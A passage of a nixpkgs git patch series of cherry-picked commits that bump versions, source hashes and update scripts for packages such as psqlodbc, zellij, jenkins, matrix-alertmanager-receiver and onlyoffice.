-    platforms = platforms.unix;
+    license = lib.licenses.lgpl2;
+    platforms = lib.platforms.unix;
     teams = libpq.meta.teams;
   };
 }

From 2218a8f19436606e0f0e02eb8d8e815664341e01 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 3 Jul 2025 19:51:42 +0200
Subject: [PATCH 3332/4511] psqlodbc: fix update script

(cherry picked from commit ca232376ae70986f436dbab248300a8fb10d74f2)
---
 pkgs/by-name/ps/psqlodbc/package.nix | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ps/psqlodbc/package.nix b/pkgs/by-name/ps/psqlodbc/package.nix
index c51a8eea0790..09543fac64c1 100644
--- a/pkgs/by-name/ps/psqlodbc/package.nix
+++ b/pkgs/by-name/ps/psqlodbc/package.nix
@@ -16,14 +16,14 @@
 
 assert lib.xor withLibiodbc withUnixODBC;
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "psqlodbc";
-  version = "${builtins.replaceStrings [ "_" ] [ "." ] (lib.strings.removePrefix "REL-" src.tag)}";
+  version = "17.00.0006";
 
   src = fetchFromGitHub {
     owner = "postgresql-interfaces";
     repo = "psqlodbc";
-    tag = "REL-17_00_0006";
+    tag = "REL-${lib.replaceString "." "_" finalAttrs.version}";
     hash = "sha256-iu1PWkfOyWtMmy7/8W+acu8v+e8nUPkCIHtVNZ8HzRg=";
   };
 
@@ -48,7 +48,9 @@ stdenv.mkDerivation rec {
   ++ lib.optional withUnixODBC "--with-unixodbc=${unixODBC}";
 
   passthru = {
-    updateScript = nix-update-script { };
+    updateScript = nix-update-script {
+      extraArgs = [ "--version-regex=^REL-(\\d+)_(\\d+)_(\\d+)$" ];
+    };
   }
   // lib.optionalAttrs withUnixODBC {
     fancyName = "PostgreSQL";
@@ -62,4 +64,4 @@ stdenv.mkDerivation rec {
     platforms = lib.platforms.unix;
     teams = libpq.meta.teams;
   };
-}
+})

From bafac7a4b24dd61afcea9243461232159fc5ef19 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 8 Aug 2025 09:29:23 +0200
Subject: [PATCH 3333/4511] postgresqlPackages.pg_squeeze: 1.7.0 -> 1.9.0

Release notes:
https://github.com/cybertec-postgresql/pg_squeeze/releases/tag/REL1_8_0
https://github.com/cybertec-postgresql/pg_squeeze/releases/tag/REL1_9_0

(cherry picked from commit 3951f3b158246f22e924b1b0f6f62dbba000e247)
---
 pkgs/servers/sql/postgresql/ext/pg_squeeze.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix b/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
index b3c4ddc0c8a6..c05a00168bdf 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
@@ -9,13 +9,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_squeeze";
-  version = "1.7.0";
+  version = "1.9.0";
 
   src = fetchFromGitHub {
     owner = "cybertec-postgresql";
     repo = "pg_squeeze";
     tag = "REL${lib.replaceString "." "_" finalAttrs.version}";
-    hash = "sha256-Kh1wSOvV5Rd1CG/na3yzbWzvaR8SJ6wmTZOnM+lbgik=";
+    hash = "sha256-RrG7qeX0NQ4cq6N+9uVfalNW+HfiSt4wcjeZjInnfgE=";
   };
 
   passthru.updateScript = nix-update-script {

From 732e4d32ad9fde9447d7cfca129b3afec7de00cc Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 8 Aug 2025 15:18:20 +0300
Subject: [PATCH 3334/4511] linux-firmware: 20250708 -> 20250808

Diff: https://gitlab.com/kernel-firmware/linux-firmware/-/compare/20250708...20250808
(cherry picked from commit 1273efa67f5ea516eebc3332e538437d2f00b25c)
---
 pkgs/by-name/li/linux-firmware/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index dd9042793e7b..53ec8db8eb46 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -22,13 +22,13 @@ let
 in
 stdenvNoCC.mkDerivation rec {
   pname = "linux-firmware";
-  version = "20250708";
+  version = "20250808";
 
   src = fetchFromGitLab {
     owner = "kernel-firmware";
     repo = "linux-firmware";
     tag = version;
-    hash = "sha256-TJ97A9I0ipsqgg7ex3pAQgdhDJcLbkNCvuLppt9a07o=";
+    hash = "sha256-bmvhAKAY43WaPr3VLUUYoX6BU2Ret47vDnyCVP7157s=";
   };
 
   postUnpack = ''

From 140ee7240a8c5ce7a734732857075ec8eb9e5efa Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 5 Aug 2025 09:22:11 +0200
Subject: [PATCH 3335/4511] zellij: 0.42.2 -> 0.43.0

Diff: https://github.com/zellij-org/zellij/compare/refs/tags/v0.42.2...refs/tags/v0.43.0

Changelog: https://github.com/zellij-org/zellij/blob/v0.43.0/CHANGELOG.md
(cherry picked from commit b760db34f1dabdb0433f6f5695eccb87b901c98f)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ze/zellij/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ze/zellij/package.nix b/pkgs/by-name/ze/zellij/package.nix
index 8ff5788648ef..c93fe0ed1e1e 100644
--- a/pkgs/by-name/ze/zellij/package.nix
+++ b/pkgs/by-name/ze/zellij/package.nix
@@ -15,13 +15,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zellij";
-  version = "0.42.2";
+  version = "0.43.0";
 
   src = fetchFromGitHub {
     owner = "zellij-org";
     repo = "zellij";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-O7BZlPSBWy+q349NYCUsw4Rb5X3xyl5Ar+a/uQPQhZY=";
+    hash = "sha256-VlK9ONyNQAlRqLQM62ZDCv/efJbj66DgM0P9DNhvRvk=";
   };
 
   # Remove the `vendored_curl` feature in order to link against the libcurl from nixpkgs instead of
@@ -31,8 +31,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail ', "vendored_curl"' ""
   '';
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-Vo3bshaHjy2F2WFGgaIDEFFAh0e5VPp2G4fETgIH484=";
+  cargoHash = "sha256-P4VabkEFBvj2YkkhXqH/JZp3m3WMKcr0qUMhdorEm1Q=";
 
   env.OPENSSL_NO_VENDOR = 1;
 

From c372e7ebb3cbc3394513f5896e1bcf8ee2da783b Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 8 Aug 2025 15:08:02 +0200
Subject: [PATCH 3336/4511] zellij: 0.43.0 -> 0.43.1

Diff: https://github.com/zellij-org/zellij/compare/v0.43.0...v0.43.1

Changelog: https://github.com/zellij-org/zellij/blob/v0.43.1/CHANGELOG.md
(cherry picked from commit 67216908b352d4f2f1adf6211fbc0dca07a2e53c)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ze/zellij/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zellij/package.nix b/pkgs/by-name/ze/zellij/package.nix
index c93fe0ed1e1e..99a15c2e45ed 100644
--- a/pkgs/by-name/ze/zellij/package.nix
+++ b/pkgs/by-name/ze/zellij/package.nix
@@ -15,13 +15,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zellij";
-  version = "0.43.0";
+  version = "0.43.1";
 
   src = fetchFromGitHub {
     owner = "zellij-org";
     repo = "zellij";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-VlK9ONyNQAlRqLQM62ZDCv/efJbj66DgM0P9DNhvRvk=";
+    hash = "sha256-pUExOToThqDBrNNKHh8Z+PFkijx22I7gpYXTAywlSxM=";
   };
 
   # Remove the `vendored_curl` feature in order to link against the libcurl from nixpkgs instead of
@@ -31,7 +31,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail ', "vendored_curl"' ""
   '';
 
-  cargoHash = "sha256-P4VabkEFBvj2YkkhXqH/JZp3m3WMKcr0qUMhdorEm1Q=";
+  cargoHash = "sha256-KWE9K7M2pelow5I2rvEZho9L0kmnSXVLDD9XBpzlEEY=";
 
   env.OPENSSL_NO_VENDOR = 1;
 

From acd96baaa98a3241f08b0995120d1cf190f9f0f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 7 Aug 2025 22:40:00 +0000
Subject: [PATCH 3337/4511] goresym: 3.0.2 -> 3.1.1

(cherry picked from commit d6bb4b3f5c2fa58e0d598706f0b5c44f2e25e498)
---
 pkgs/by-name/go/goresym/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/go/goresym/package.nix b/pkgs/by-name/go/goresym/package.nix
index e498701b9707..ebc4be0a041f 100644
--- a/pkgs/by-name/go/goresym/package.nix
+++ b/pkgs/by-name/go/goresym/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "goresym";
-  version = "3.0.2";
+  version = "3.1.1";
 
   src = fetchFromGitHub {
     owner = "mandiant";
     repo = "goresym";
     rev = "v${version}";
-    hash = "sha256-tt13vHe6wE27kv+1HVXytY1hKmOt6rWJaMBgLRCvO2E=";
+    hash = "sha256-OvdARJwz/ijduil3JIpoR15+F3QNQyqQKeOmiAV7h2A=";
   };
 
   subPackages = [ "." ];

From a5516cd91cef27ba5f530e8f4b5532592c290d97 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 8 Aug 2025 17:32:13 +0200
Subject: [PATCH 3338/4511] matrix-authentication-service: 0.19.0 -> 0.20.0

Changelog: https://github.com/element-hq/matrix-authentication-service/releases/tag/v0.20.0
(cherry picked from commit 25fb6b71b2fe8f0bc6625504ced8af0ada6a8406)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index b726fc0e29c5..64ee5f120a02 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -18,22 +18,22 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "matrix-authentication-service";
-  version = "0.19.0";
+  version = "0.20.0";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "matrix-authentication-service";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JimVGDHL4pwN0ALdZVJjkzgdOMTlXo4okiH8b7aALJg=";
+    hash = "sha256-BLEbEDZRh7fgcnkH/YUHPPdKM1FtZdjvsL1rJ57BP3w=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-5Db3veAs2Zk1EzCp0M8krkUEtfiuJwbAUpUODquYXlA=";
+  cargoHash = "sha256-1jLiCCZUj/rBHd1huqZdmgKayoSZoOt3tptyZlOcWJA=";
 
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-${finalAttrs.version}-npm-deps";
     src = "${finalAttrs.src}/${finalAttrs.npmRoot}";
-    hash = "sha256-m0W9S/NcbwVMsqSBh5GIHawQR1kRsEEQCnHGbSGNq74=";
+    hash = "sha256-+n9P2P88G3neHJqmJi/VWpaQ/UkUzBtihfeKy5lju4U=";
   };
 
   npmRoot = "frontend";

From e28c830e682da7b380c9900ea18fbc6c770959e9 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:59:03 +0200
Subject: [PATCH 3339/4511] matrix-authentication-service: avoid updating to
 pre-releases

(cherry picked from commit 93f474f607a7774cadeaf9b1ee3dc8a8a043ce74)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 64ee5f120a02..4baa29dc8038 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -90,7 +90,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   versionCheckProgram = "${placeholder "out"}/bin/${finalAttrs.meta.mainProgram}";
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
-  passthru.updateScript = nix-update-script { };
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      # avoid unstable pre‐releases
+      "--version-regex"
+      "^v([0-9.]+)$"
+    ];
+  };
 
   meta = {
     description = "OAuth2.0 + OpenID Provider for Matrix Homeservers";

From 57742b2091c1762064576a258b053c2c8c2ee57b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 7 Aug 2025 21:20:55 +0000
Subject: [PATCH 3340/4511] pixelorama: 1.1.1 -> 1.1.3

(cherry picked from commit cea320fa4e1e0057dbc826abbcc307485d48723d)
---
 pkgs/by-name/pi/pixelorama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pi/pixelorama/package.nix b/pkgs/by-name/pi/pixelorama/package.nix
index 56e25323dc9c..bfb24ca605d1 100644
--- a/pkgs/by-name/pi/pixelorama/package.nix
+++ b/pkgs/by-name/pi/pixelorama/package.nix
@@ -20,13 +20,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "pixelorama";
-  version = "1.1.1";
+  version = "1.1.3";
 
   src = fetchFromGitHub {
     owner = "Orama-Interactive";
     repo = "Pixelorama";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-HXCfZ/ePqEMnaEN+fxGVoaFWsO1isTAyYoRpLY6opRg=";
+    hash = "sha256-5HxOt077h+GLQQlvKefolOXLRnNDdc/VD1pc9INEkqI=";
   };
 
   strictDeps = true;

From a8617c5c483f75cdc8db03fb38eddd85bb3730b5 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 24 May 2025 17:56:54 +0200
Subject: [PATCH 3341/4511] matrix-alertmanager-receiver: 2025.4.23 ->
 2025.5.21

Release notes: https://github.com/metio/matrix-alertmanager-receiver/releases/tag/2025.5.21
Changelog: https://github.com/metio/matrix-alertmanager-receiver/compare/2025.4.23...2025.5.21

(cherry picked from commit b8c328f0e001ed271d7cea8b35e0ffb507133058)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 60c4157e8faa..83f4095e941e 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -7,16 +7,16 @@
 
 buildGo124Module rec {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.4.23";
+  version = "2025.5.21";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = version;
-    hash = "sha256-ubSrj8mUc0b6fwRuvaw8oapTyIbDRvlzEqpjIFEY1FQ=";
+    hash = "sha256-W0dvaJ1o43un5UskAmpKomZjIHiclOoiOkxGawP0fyk=";
   };
 
-  vendorHash = "sha256-8LQ4SJ1zapBRuFDX8VxYUvA6jzukVml8Jr+B3zQKFOs=";
+  vendorHash = "sha256-ZM7qA73fPPRgs378uDQoYs32e7i8LmBjqZ7RjzWEW28=";
 
   ldflags = [
     "-s"

From 3281ce4c62d607c607df8e8bc22e358c1517c349 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Wed, 2 Jul 2025 20:12:49 +0200
Subject: [PATCH 3342/4511]  matrix-alertmanager-receiver: 2025.5.21 ->
 2025.7.2

(cherry picked from commit 9e90ad6b301d05677ad8a17090c20d8517959917)
---
 .../matrix-alertmanager-receiver/package.nix  | 28 ++++++++++++-------
 1 file changed, 18 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 83f4095e941e..653e69d6cf86 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -1,29 +1,37 @@
 {
   lib,
-  buildGo124Module,
+  buildGoModule,
   fetchFromGitHub,
+  versionCheckHook,
   nix-update-script,
 }:
 
-buildGo124Module rec {
+buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.5.21";
+  version = "2025.7.2";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
-    tag = version;
-    hash = "sha256-W0dvaJ1o43un5UskAmpKomZjIHiclOoiOkxGawP0fyk=";
+    tag = finalAttrs.version;
+    hash = "sha256-Dz2oP3lNxO75Lqmke0WprvI1yuuQIv3HffNxMYCSJso=";
   };
 
-  vendorHash = "sha256-ZM7qA73fPPRgs378uDQoYs32e7i8LmBjqZ7RjzWEW28=";
+  vendorHash = "sha256-+tkxK3h6N45XA4OvdNYrRFNbqJLGflY2v8oF36Gpwm4=";
+
+  env.CGO_ENABLED = "0";
 
   ldflags = [
     "-s"
-    "-w"
-    "-X main.matrixAlertmanagerReceiverVersion=${version}"
+    "-X main.matrixAlertmanagerReceiverVersion=${finalAttrs.version}"
   ];
 
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ];
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
   passthru = {
     updateScript = nix-update-script { };
   };
@@ -31,9 +39,9 @@ buildGo124Module rec {
   meta = {
     description = "Alertmanager client that forwards alerts to a Matrix room";
     homepage = "https://github.com/metio/matrix-alertmanager-receiver";
-    changelog = "https://github.com/metio/matrix-alertmanager-receiver/releases/tag/${version}";
+    changelog = "https://github.com/metio/matrix-alertmanager-receiver/releases/tag/${finalAttrs.version}";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [ liberodark ];
     mainProgram = "matrix-alertmanager-receiver";
   };
-}
+})

From f1ac10c981c38fb90870689ade3ff5f2ef6be114 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Jul 2025 06:07:05 +0000
Subject: [PATCH 3343/4511] matrix-alertmanager-receiver: 2025.7.2 -> 2025.7.23

(cherry picked from commit f31b95e344ea8c08582b1a3e3ea647878ae67738)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 653e69d6cf86..9f8fb9fcee57 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.7.2";
+  version = "2025.7.23";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-Dz2oP3lNxO75Lqmke0WprvI1yuuQIv3HffNxMYCSJso=";
+    hash = "sha256-DkltZsWcCFLMDzTMxDv+amwbTVNHxpQVBtgpnTJOFsU=";
   };
 
-  vendorHash = "sha256-+tkxK3h6N45XA4OvdNYrRFNbqJLGflY2v8oF36Gpwm4=";
+  vendorHash = "sha256-6N0G0JGFp+dIUyTFHwpp526QmVZlp071NX+H6CB0uVE=";
 
   env.CGO_ENABLED = "0";
 

From b73f53d0b693e51b980d68d1093d2f19ef384eab Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 3 Aug 2025 20:27:35 +0000
Subject: [PATCH 3344/4511] matrix-alertmanager-receiver: 2025.7.23 ->
 2025.7.30

(cherry picked from commit ea52038ca99843a3506923da9c5fa292c6639366)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 9f8fb9fcee57..3a85dd39ebd1 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.7.23";
+  version = "2025.7.30";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-DkltZsWcCFLMDzTMxDv+amwbTVNHxpQVBtgpnTJOFsU=";
+    hash = "sha256-2zTkRXXXMMphNyw/OeiIAmc4KP0LqN6M0vtpX/7fhoI=";
   };
 
-  vendorHash = "sha256-6N0G0JGFp+dIUyTFHwpp526QmVZlp071NX+H6CB0uVE=";
+  vendorHash = "sha256-zOaAvPCAEQkJMogJ6ly0jkHfj+SAlFqk5m+eQdsaxK4=";
 
   env.CGO_ENABLED = "0";
 

From 7bf3e9c90b2a5a07335be17c700dc40888ffcc1c Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Thu, 7 Aug 2025 17:44:24 -0400
Subject: [PATCH 3345/4511] exercise-timer: 1.8.4 -> 1.8.5

Diff: https://github.com/mfep/exercise-timer/compare/refs/tags/v1.8.4...refs/tags/v1.8.5

Changelog: https://github.com/mfep/exercise-timer/blob/v1.8.5/CHANGELOG.md
(cherry picked from commit 3d25fdb2156a42c89a9715ce3632b7d97a71a738)
---
 pkgs/by-name/ex/exercise-timer/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ex/exercise-timer/package.nix b/pkgs/by-name/ex/exercise-timer/package.nix
index 13b3b1baf32b..b5156a0b2c68 100644
--- a/pkgs/by-name/ex/exercise-timer/package.nix
+++ b/pkgs/by-name/ex/exercise-timer/package.nix
@@ -20,19 +20,19 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "exercise-timer";
-  version = "1.8.4";
+  version = "1.8.5";
 
   src = fetchFromGitHub {
     owner = "mfep";
     repo = "exercise-timer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-KiKTZUlcgQcVJwjCZRi1spjJjAT/aH0PUOB+Qt1jKTc=";
+    hash = "sha256-yparZ9XmHkjwvgpnERpi8hvRXdb8R+kAyFOFl+exXb4=";
     fetchLFS = true;
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-Z02tnOavpfv+dNk9p1h/+A0TlBtB0BVxLsEKvhFpkbc=";
+    hash = "sha256-JObzeiQHEGIDjOung3o8dpaXVcOoJS2v1hyrcS1fqcI=";
   };
 
   nativeBuildInputs = [

From fc771a3fc27e5454a2047dbb9ded47d56683890c Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Wed, 23 Jul 2025 13:20:36 -0400
Subject: [PATCH 3346/4511] jenkins: 2.504.3 -> 2.516.1

(cherry picked from commit ed4b1f8bed894d306b98ea671511e5faa22fa51b)
---
 pkgs/by-name/je/jenkins/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index 268112325414..1d42aece3754 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -18,11 +18,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "jenkins";
-  version = "2.504.3";
+  version = "2.516.1";
 
   src = fetchurl {
     url = "https://get.jenkins.io/war-stable/${finalAttrs.version}/jenkins.war";
-    hash = "sha256-6oiDQxuLXva2j+DlgXyT3AoR3vOABU594xNkhnlu/rA=";
+    hash = "sha256-wwiifoH0zjqmeH6WyvdxU09/IG/vu4OWnXexX8fycAo=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 4cb97983e8170d511041b20e07ac7964431bf0ac Mon Sep 17 00:00:00 2001
From: e0 <eliasoderso@riseup.net>
Date: Mon, 9 Jun 2025 22:28:33 +0200
Subject: [PATCH 3347/4511] onlyoffice-documentserver: 8.3.2 -> 8.3.3

(cherry picked from commit 30ef91f2d70614c424160ba8fd784bfe99076b6e)
---
 pkgs/by-name/on/onlyoffice-documentserver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/on/onlyoffice-documentserver/package.nix b/pkgs/by-name/on/onlyoffice-documentserver/package.nix
index 0d828b87580c..38a5dfa8978f 100644
--- a/pkgs/by-name/on/onlyoffice-documentserver/package.nix
+++ b/pkgs/by-name/on/onlyoffice-documentserver/package.nix
@@ -16,17 +16,17 @@ let
   # var/www/onlyoffice/documentserver/server/DocService/docservice
   onlyoffice-documentserver = stdenv.mkDerivation rec {
     pname = "onlyoffice-documentserver";
-    version = "8.3.2";
+    version = "8.3.3";
 
     src = fetchurl (
       {
         "aarch64-linux" = {
           url = "https://github.com/ONLYOFFICE/DocumentServer/releases/download/v${version}/onlyoffice-documentserver_arm64.deb";
-          sha256 = "sha256-fyxk7FiBhTRTy8f5Wx6Rp0MPX45O5Q05ZS17Krp05P0=";
+          sha256 = "sha256-wF5TdBEpNXeE8SMTmvgjuOp713Vf9gIifsI1yeujuA0=";
         };
         "x86_64-linux" = {
           url = "https://github.com/ONLYOFFICE/DocumentServer/releases/download/v${version}/onlyoffice-documentserver_amd64.deb";
-          sha256 = "sha256-dBA/TlTwG+9eRY5QdqVw0cghnXPRNCUfs9QoaNFFLB0=";
+          sha256 = "sha256-zEI9R5AOkE1gMZHL209l6HOh/yfZgmEvMw8+hb9kC+s=";
         };
       }
       .${stdenv.hostPlatform.system} or (throw "unsupported system ${stdenv.hostPlatform.system}")

From c6766ac6e91946b10a0e0aec45e247a7d7cf9e66 Mon Sep 17 00:00:00 2001
From: Dmitriy <53646455+apokryff@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:47:32 +0300
Subject: [PATCH 3348/4511] onlyoffice-desktopeditors: 8.3.1 -> 9.0.0 (#419953)

(cherry picked from commit fc559bdb3855eb41d9d655c283990ceb4b01f1ea)
---
 pkgs/by-name/on/onlyoffice-desktopeditors/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/on/onlyoffice-desktopeditors/package.nix b/pkgs/by-name/on/onlyoffice-desktopeditors/package.nix
index 218b1a7bcfb5..a73630f1061d 100644
--- a/pkgs/by-name/on/onlyoffice-desktopeditors/package.nix
+++ b/pkgs/by-name/on/onlyoffice-desktopeditors/package.nix
@@ -66,11 +66,11 @@ let
 
   derivation = stdenv.mkDerivation rec {
     pname = "onlyoffice-desktopeditors";
-    version = "8.3.1";
+    version = "9.0.0";
     minor = null;
     src = fetchurl {
       url = "https://github.com/ONLYOFFICE/DesktopEditors/releases/download/v${version}/onlyoffice-desktopeditors_amd64.deb";
-      hash = "sha256-6eoXLOLshHpn3eaEx57ll66nD+gs1LZUET0CSm4od5c=";
+      hash = "sha256-mGjFFuuplGINgjuIEHoO3AO4ppkum1lifj5ukbfWWS8=";
     };
 
     nativeBuildInputs = [

From 074de1f5a60d40332ad31ab29b7ddb08a09b643d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 8 Aug 2025 18:36:51 +0000
Subject: [PATCH 3349/4511] linuxKernel.kernels.linux_lqx: 6.15.8 -> 6.15.9

(cherry picked from commit 0a34020c16c69419de8def76a61b22f9607b3291)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 880bac6ead28..8f8f5e9e2958 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.8"; # lqx
+      version = "6.15.9"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "1z85h8k49acw5w1m7z6lclnr62rgr6dbi2sci7in59qkq1zfvkb9"; # lqx
+      sha256 = "16yds3lp4h0fk33fffwvh7az03wfw26ryl61h601na96m3sffwfj"; # lqx
       isLqx = true;
     };
   };

From 9625516f64009e8cde19ccd336cc958f8b7074a0 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Fri, 8 Aug 2025 23:28:11 +0200
Subject: [PATCH 3350/4511] openbao: 2.3.1 -> 2.3.2 (#431937)

https://github.com/openbao/openbao/releases/tag/v2.3.2

diff: https://github.com/openbao/openbao/compare/v2.3.1...v2.3.2
